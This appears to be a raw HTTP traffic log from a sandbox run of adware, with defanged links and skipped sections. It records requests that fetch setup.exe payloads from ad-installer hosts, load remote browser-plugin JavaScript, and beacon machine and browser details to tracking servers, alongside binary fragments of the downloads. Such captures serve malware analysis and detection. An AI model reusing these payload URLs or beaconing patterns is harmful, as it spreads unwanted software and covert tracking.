Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: o4AXH52gB1Ilrf8P4tixX-cBL-1DRprmTf6-vyiDSsdA13RaDU8Gkw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab53e8f36477272573223ab
35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: o4AXH52gB1Ilrf8P4tixX-cBL
-1DRprmTf6-vyiDSsdA13RaDU8Gkw==......


GET /21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemVjr4IQgU6/17ym41MswgnBQC drCF7eFcz7 uAJ9xYcIp0OdaBZXvr/vhPcFBsxkAjkJywGAYoQ8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qopuBi6/bm33q10HaaBVZzWyyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Eehqgoqma9zl1z-CNppiQUSK0EvVvGphXmUSKi5vekkJxYXgruHMvw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:15 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab53e8f36477272573223ab
35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Eehqgoqma9zl1z-CNppiQUSK0
EvVvGphXmUSKi5vekkJxYXgruHMvw==..


GET /smt2b/all/hat/row/setup.exe_d HTTP/1.1

Host: dl.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:00 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422503037"

Last-Modified: Thu, 29 Jan 2015 03:43:57 GMT

Cache-Control: max-age=2747

Content-Length: 2859580

Content-Type: text/plain

X-HW: 1422581341.dop012.am4.t,1422581340.cds064.am4.c
aSZl....gA...E5g...2U.g...p....a........w..j.;L.[..$.W.......v......N.
..^..IMRg...T.(. .....>....[.0..7..*.2...It....2..I.....2..h....B.n
,..H.}......i...li|....3~....Z3.3{....2..."..U...gJT...Z.....(.|.....d
.MJ.}....)..j...V.r..q..k(..=..b....|..&.Yx.!..Q.q..<=V.Q.......*..
...:..S......u..|...)/........j..}OY."..U..H!m....D.mY.S.......G....,.
m;K*=)U[.h..a&......V.3..GNg........)>A......4.C..3(..T(dW...2.....
...).o..P.].!...o$..rm...(...][email protected].,p...U.`...\<[..Z.
..$..K.S$..0..>..je....L.p]...1 .......~..f4].../f t.k.p/..).6/.<
;y....p:.Y&.{.2r...U.........., .....LX=l.g.w..'?/.C8<.... .T$.....
nI.4....z. ?x..6...z..i..%../'o....].)..E..Z..T'...x.*G......kd.G...v.
..i...~8......K?Pd!.Z..xW.:...n..d...=....(.c.."......!.b..'...j9...V.
r..;.C...J=.Xc...Ke.....>(..x<.f.U%.I..K....NOx...0\lalHy....P..
.Z.R?<..6f\...%..SXc...R.z..}~.U.W.[?..".J..D..0.l.hy.....I.;....l.
...-5.....6H.[E.>....Y/...%..f5..A..N..DL...=i{"m.;W...............
........1.5d../.....Z8-ZQN..|...I....^..5.0...O...U..I...t.y...&.B....
.3.HF..:<.6...................B.w........tE....C...v.z...q..G=%.g..
...`... a.}1|.... OG.....b.U..T.I..:..Z.{..3..K.q.w....0.W...?.r..f...
._.dbA.W....got.I.S$.5....p....W...<k.......q[ru4".0...J.R....4.&.~
[email protected]...|GE(R.hvLO..F.# ..o.\.. . .Q.xnvD...r....7..
.R'.$.. ....h}....].7,v,...P.....v..wj.........)..g.^......eP.Ys......
....e.4......|$..l&=o].4>...}.8.^%.^...4Z.0.>..L...\..N...#bGK..
@.0...PN ?E......]..U.Q..4......H.d.....J.....w..OG.......G.....r.
<<< skipped >>>


GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Expires: Fri, 30 Jan 2015 01:44:19 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Fri, 30 Jan 2015 01:29:18 GMT

Connection: close

Content-Length: 490
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.........


GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:30:23 GMT

Last-Modified: Thu, 29 Jan 2015 19:47:05 GMT

Server: ECS (ams/D1C2)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015012
9184609Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20141203203511Z....20150428204011Z0...*.H.............4..}.8.
.)....l..JcW.a..i.2....i.:...9`...K .#..x...2........x...U....._.....K
]..k8....*4...H4.K.d9?G.*.Y..e.\.y.....d.........L~._R...&.i...qLM5...
.EL.......3.....P9....6....'....'........j.4.q..e.vcI.$v....W]z......5
tQ.c ....X..hXiA......x.8%...Ez.......U....0...0...0...........'..0...
*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTrust1"0
 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229Z0G1.0
...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-20110.
."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...04..I..
....C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8..........h8GM
..*.4.MP..../[email protected]....
$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j.\.>
;.O....G.A........0..0... .....0......0...U.......0.0...U...........0.
..U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`;.l.uZ
..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....j.t%..
e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..ud.....
CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&....q.[
z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?....E....
.......'>..O.._..
<<< skipped >>>


GET /monetization.gif?event=4&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366 HTTP/1.1

Host: logs.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1422581364.dop003.am4.t,1422581364.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 30 Jan 
2015 01:29:24 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1422581364.dop003.am4.t,1422581364.
cds058.am4.c..GIF89a.............,...........D..;..


GET /app/t.ashx?uid=55ab86e2-1aa0-4cd0-9974-956045006e3d&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU1YWI4NmUyLTFhYTAtNGNkMC05OTc0LTk1NjA0NTAwNmUzZCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTcxJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1422581381&aff=JSsmtycl&ver=2.0.7791.1486 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:19 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 30 Jan 
2015 01:29:19 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..


GET /plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=1954 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:17 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422171085"

Last-Modified: Sun, 25 Jan 2015 07:31:25 GMT

Cache-Control: private, must-revalidate, max-age=900

Content-Length: 1883

Content-Type: application/xml; charset=utf-8

X-HW: 1422581358.dop013.am4.t,1422581357.cds042.am4.c
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>21</Ver>.  <ShortName>Apps Hat 1.5</ShortName>
.  <Description>Apps Hat is the cool new Android app store that 
helps you discover hot new apps, both free and discounted. Get persona
lised recommendations, price drop alerts, and share your favourite app
s with your friends.</Description>.  <PublisherName>Nero&l
t;/PublisherName>.  <HomePageLink>NA</HomePageLink>.  &
lt;JSLink>hXXp://js.onlineinputstorage.com/plugin/apps/65743/js/na/
ie/app_code.js</JSLink>.  <GroupID>0</GroupID>.  <
;Domain>NA</Domain>.  <RunInIframe>true</RunInIframe
>.  <ThanksURL>NA</ThanksURL>.  <EmailSignature>N
A</EmailSignature>.  <SettingsURL>NA</SettingsURL>. 
 <CertifiedInstall>NA</CertifiedInstall>.  <ExposeSites
>NA</ExposeSites>.  <RemoteFBApiURL>NA</RemoteFBApiU
RL>.  <DisableIE>true</DisableIE>.  <DisableFF>tr
ue</DisableFF>.  <EnableSearchIE>false</EnableSearchIE&
gt;.  <EnableSearchFF>false</EnableSearchFF>.  <Address
barIE>NA</AddressbarIE>.  <AddressbarFF>NA</Addressb
arFF>.  <AddressbarFFEnhanced>NA</AddressbarFFEnhanced>
.  <AddressbarCR>NA</AddressbarCR>.  <NewTabURL>NA&l
t;/NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>.  <Ope
nSearchURL>NA</OpenSearchURL>.  <BackgroundJS>http:
<<< skipped >>>


HEAD /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: redirector.gvt1.com




HTTP/1.1 302 Found

Date: Fri, 30 Jan 2015 01:30:52 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://r3---sn-3c27ln7s.gvt1.com/edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1

Content-Type: text/html; charset=UTF-8

Server: ClientMapServer

Content-Length: 613

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
HTTP/1.1 302 Found..Date: Fri, 30 Jan 2015 01:30:52 GMT..Pragma: no-ca
che..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Location: hXXp://r3---sn-3c27ln7s.gvt1.com/edgedl/chr
ome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirec
t=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=14
22581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,
pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297A
B7DE82C12399CD9790C57F8304E054115434&key=cms1..Content-Type: text/html
; charset=UTF-8..Server: ClientMapServer..Content-Length: 613..X-XSS-P
rotection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Proto
col: 80:quic,p=0.02..


GET /ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581379&lifetime=13&error=execution_failed_-buttonutil64.exe_0x80070002&errcounter=1&il=3&rnd=105 HTTP/1.1

Accept: */*

Host: errors.ourclientinputsrv.com

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: Dgg1PuBCYVB0NDkZWCLR//RY9vOnaWLkWpx nCZleZp9tgJBO1A2irmfNw5rWuCfGRQIU98DYjc=

x-amz-request-id: 842C63578BCC1C21

Date: Fri, 30 Jan 2015 01:29:19 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:12 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Dgg1Pu
BCYVB0NDkZWCLR//RY9vOnaWLkWpx nCZleZp9tgJBO1A2irmfNw5rWuCfGRQIU98DYjc=
..x-amz-request-id: 842C63578BCC1C21..Date: Fri, 30 Jan 2015 01:29:19 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:12 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581380&lifetime=14&error=button_failed_to_run_exe_64bit_an_attempt_was_made_to_reference_a_token_that_does_not_exist&errcounter=1&il=3&rnd=1954 HTTP/1.1

Accept: */*

Host: errors.ourclientinputsrv.com

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: hD72PxuKiA22zmsV tFj0FJK078yDu7UljRoJ6I0KhbTrIqzmxMgLRdVPX3R3rsXPXffmZjMBvI=

x-amz-request-id: D00DF6501BC82694

Date: Fri, 30 Jan 2015 01:29:20 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:12 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: hD72Px
uKiA22zmsV tFj0FJK078yDu7UljRoJ6I0KhbTrIqzmxMgLRdVPX3R3rsXPXffmZjMBvI=
..x-amz-request-id: D00DF6501BC82694..Date: Fri, 30 Jan 2015 01:29:20 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:12 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..


GET /app/ping.ashx?e=xY8ohDYpM j7QFMK1iR6lpgcO7f7vaYd/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtMg0cf98KNqaOyELmY4nK6ipZmCuTjBqDplSPW87G2MuHTL U0hNxCnPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiVkwuPeIXKySOMfQtN1YRFb/oTUjX4tfR/IsL6qrunF Z nf6xdrvQQnhXTyBWjWbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn228eezy0VYdU5l6kGsLGUjlAO3ZfaMMISPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx343F4oagmR8wVa2aEDZbAFTl HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:26 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 30 Jan 2015 01:28:26 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=A3ANzFv7fWDiV tpLHtO 8OEpI2yYUZMeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NmjyH8WKxgZJIN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vNjtBw5FD/fBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1rWa/VS ZkIKo00wbB7BgLpnWp8nLSX1ZeBh6JrBVv WeIpNafo35XeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrSApQr3TgxTsPf/PibBcqNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpglZQYv/RzJnyucPTMPOBI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:26 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 30 Jan 2015 01:28:26 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=R278SAfkg0Uu52aJyrcE1GNCBe60InD43Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmki4hEl9YCF5VyTBnYuv2hx2Ppp N4rl8OFHm8Ab6m905ihxqKMi8hVqaofRuwxqimZrKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJBGpTYTs8TL3zTXcwevL5ETe2y22DE7sEM9QBsWl5vvlVBteQHRXnREE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SXiV rH5PVOR5TX6K4Kv02aPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb2xnVxK3AEApgYrw8pwWnuII= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:29 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 30 Jan 2015 01:28:29 GMT..Content-Length: 0..


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:30:24 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=dd7b239045477dd9067c2d79126d2f7d01422581424; expires=Sat, 30-Jan-16 01:30:24 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 29 Jan 2015 22:13:00 GMT

Expires: Tue, 03 Feb 2015 01:30:23 GMT

ETag: "6b09a597fc55e662dcd92f82f1facc043b2c9bfb"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b09e76c723615bf-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0129221300Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150129221300Z....20150202221300Z."0 0..
. .....0......20140129221300Z0...*.H.............".].y.j.!.k:`}...1n..
S.pXb........X... ... y.II..X8Q....w..P./.S.U.{......O.%f.<'..:.n(.
"..m.G{.U...`6.?k.7..Dkl....eO.....E.[mn...."m.N^[email protected](K.>C..
.z.*.y..N.s7....L.1.M..^....s...U(,.Xv.o.-............g..j..x/.z.)..5.
..-V.:...."..m..l..!p......?._.....0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: T16q0oxNae5KJYOOwF6t1zr5fjVgne4_f8_b7_uMv-mLvVIRKwFryA==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
